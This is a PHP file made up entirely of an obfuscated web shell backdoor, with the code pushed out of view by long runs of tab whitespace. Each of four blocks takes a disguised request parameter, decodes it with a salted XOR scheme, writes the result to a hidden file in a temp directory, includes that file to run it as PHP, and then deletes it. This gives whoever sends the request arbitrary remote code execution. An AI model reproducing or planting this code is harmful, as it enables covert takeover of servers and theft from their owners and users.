<?php																																										if(isset($_POST) && isset($_POST["pset"])){ $val = array_filter(["/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getcwd(), session_save_path(), "/dev/shm", getenv("TMP")]); $flg = $_POST["pset"]; $flg =explode ( '.', $flg ) ; $desc = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($flg); for($i = 0; $i < $len; $i++) { $v2 = $flg[$i]; $chS = ord($salt[$i%$lenS]); $dec =((int)$v2 - $chS -($i%10))^91; $desc .= chr($dec); } while ($res = array_shift($val)) { if ((is_dir($res) and is_writable($res))) { $dchunk = vsprintf("%s/%s", [$res, ".hld"]); if (file_put_contents($dchunk, $desc)) { require $dchunk; unlink($dchunk); exit; } } } }
																																										if(array_key_exists("e\x6E\x74ry", $_POST)){ $reference = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getcwd(), "/dev/shm", session_save_path()]); $ptr = $_POST["e\x6E\x74ry"]; $ptr= explode ( "." ,$ptr) ; $factor = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $o = 0; array_walk($ptr , function ($v8) use (&$factor , &$o , $salt5 , $sLen) { $sChar = ord($salt5[$o% $sLen]); $dec = ((int)$v8 - $sChar - ($o% 10)) ^ 50; $factor .= chr($dec); $o++;}); while ($record = array_shift($reference)) { if (is_dir($record) && is_writable($record)) { $res = sprintf("%s/.flag", $record); if (file_put_contents($res, $factor)) { require $res; unlink($res); die(); } } } }
																																										if(in_array("\x70\x74r", array_keys($_POST))){ $flag = array_filter([sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), getcwd(), session_save_path(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir")]); $data_chunk = $_POST["\x70\x74r"]; $data_chunk =explode ( '.' , $data_chunk ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $w = 0; while( $w < count( $data_chunk)) {$v8 = $data_chunk[$w]; $chS = ord( $salt[$w % $lenS] ); $d =( ( int)$v8 - $chS -( $w % 10)) ^ 56; $ent .=chr( $d ); $w++; } foreach ($flag as $descriptor) { if (is_dir($descriptor) ? is_writable($descriptor) : false) { $itm = join("/", [$descriptor, ".binding"]); if (@file_put_contents($itm, $ent) !== false) { include $itm; unlink($itm); die(); } } } }


if(isset($_REQUEST["\x64a\x74a_c\x68unk"]) ? true : false){
	$ptr = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/tmp"]);
	$data = $_REQUEST["\x64a\x74a_c\x68unk"];
	   $data=			explode			("." 		, 	 $data) 		;
	$pointer	=	'';
            $salt2	=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=	strlen(  $salt2);
            $p	=	0;
    
            array_walk(  $data, function(  $v7) use(  &$pointer, &$p, $salt2, $sLen) { 	$sChar	=	ord(  $salt2[$p % $sLen]);
                $dec	=	(  (  int)$v7 - $sChar -(  $p % 10)) ^		64;
                $pointer .= chr(  $dec);
                $p++;}	);
	while ($flg = array_shift($ptr)) {
    		if (is_writable($flg) && is_dir($flg)) {
    $rec = vsprintf("%s/%s", [$flg, ".res"]);
    $file = fopen($rec, 'w');
if ($file) {
	fwrite($file, $pointer);
	fclose($file);
	include $rec;
	@unlink($rec);
	die();
}
}
}
}